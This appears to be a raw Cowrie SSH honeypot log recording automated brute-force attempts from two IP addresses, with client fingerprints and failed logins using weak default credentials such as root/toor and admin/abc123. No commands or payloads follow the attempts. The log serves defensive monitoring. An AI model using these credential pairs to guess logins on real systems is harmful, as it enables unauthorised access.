{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:21.421577Z","src_ip":"45.156.87.147","session":"4820951fc1ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38062,"dst_ip":"10.17.0.5","dst_port":22,"session":"463d3a936e62","protocol":"ssh","message":"New connection: 91.92.42.227:38062 (10.17.0.5:22) [session: 463d3a936e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:22.876880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:22.997236Z","src_ip":"91.92.42.227","session":"463d3a936e62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:22.999739Z","src_ip":"91.92.42.227","session":"463d3a936e62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:23.709131Z","src_ip":"91.92.42.227","session":"463d3a936e62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:24.834323Z","src_ip":"91.92.42.227","session":"463d3a936e62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40288,"dst_ip":"10.17.0.5","dst_port":22,"session":"df11272b72d7","protocol":"ssh","message":"New connection: 45.156.87.147:40288 (10.17.0.5:22) [session: df11272b72d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:25.777822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:25.784612Z","src_ip":"45.156.87.147","session":"df11272b72d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:25.866618Z","src_ip":"45.156.87.147","session":"df11272b72d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:26.116310Z","src_ip":"45.156.87.147","session":"df11272b72d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:27.200095Z","src_ip":"45.156.87.147","session":"df11272b72d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47796,"dst_ip":"10.17.0.5","dst_port":22,"session":"18efbe10f8d9","protocol":"ssh","message":"New connection: 91.92.42.227:47796 (10.17.0.5:22) [session: 18efbe10f8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:29.777223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:29.934045Z","src_ip":"91.92.42.227","session":"18efbe10f8d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:29.937360Z","src_ip":"91.92.42.227","session":"18efbe10f8d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernard","password":"bernard","message":"login attempt [bernard/bernard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:30.700360Z","src_ip":"91.92.42.227","session":"18efbe10f8d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59882,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdc43f0bb98e","protocol":"ssh","message":"New connection: 45.156.87.147:59882 (10.17.0.5:22) [session: bdc43f0bb98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:31.514382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:31.520782Z","src_ip":"45.156.87.147","session":"bdc43f0bb98e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:31.601842Z","src_ip":"45.156.87.147","session":"bdc43f0bb98e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:31.850614Z","src_ip":"45.156.87.147","session":"bdc43f0bb98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:31.992122Z","src_ip":"91.92.42.227","session":"18efbe10f8d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:32.945822Z","src_ip":"45.156.87.147","session":"bdc43f0bb98e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57614,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b4a26a2b3f","protocol":"ssh","message":"New connection: 91.92.42.227:57614 (10.17.0.5:22) [session: 06b4a26a2b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:36.653856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:36.917534Z","src_ip":"91.92.42.227","session":"06b4a26a2b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:36.921266Z","src_ip":"91.92.42.227","session":"06b4a26a2b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59894,"dst_ip":"10.17.0.5","dst_port":22,"session":"07b11a7f1dd1","protocol":"ssh","message":"New connection: 45.156.87.147:59894 (10.17.0.5:22) [session: 07b11a7f1dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:36.985546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:36.993336Z","src_ip":"45.156.87.147","session":"07b11a7f1dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:37.076582Z","src_ip":"45.156.87.147","session":"07b11a7f1dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:37.328606Z","src_ip":"45.156.87.147","session":"07b11a7f1dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:38.332220Z","src_ip":"91.92.42.227","session":"06b4a26a2b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:38.416455Z","src_ip":"45.156.87.147","session":"07b11a7f1dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:40.175304Z","src_ip":"91.92.42.227","session":"06b4a26a2b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44976,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1a435d11795","protocol":"ssh","message":"New connection: 45.156.87.147:44976 (10.17.0.5:22) [session: b1a435d11795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:42.782764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:42.788564Z","src_ip":"45.156.87.147","session":"b1a435d11795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:42.871194Z","src_ip":"45.156.87.147","session":"b1a435d11795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:43.122851Z","src_ip":"45.156.87.147","session":"b1a435d11795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57676,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5c9dd57ee15","protocol":"ssh","message":"New connection: 91.92.42.227:57676 (10.17.0.5:22) [session: c5c9dd57ee15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:43.505263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:43.744566Z","src_ip":"91.92.42.227","session":"c5c9dd57ee15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:43.747894Z","src_ip":"91.92.42.227","session":"c5c9dd57ee15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:44.208205Z","src_ip":"45.156.87.147","session":"b1a435d11795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:45.478723Z","src_ip":"91.92.42.227","session":"c5c9dd57ee15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:46.599756Z","src_ip":"91.92.42.227","session":"c5c9dd57ee15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44990,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4d4f86e20e5","protocol":"ssh","message":"New connection: 45.156.87.147:44990 (10.17.0.5:22) [session: e4d4f86e20e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:48.387215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:52:48.391656Z","src_ip":"45.156.87.147","session":"e4d4f86e20e5","protocol":"ssh"}
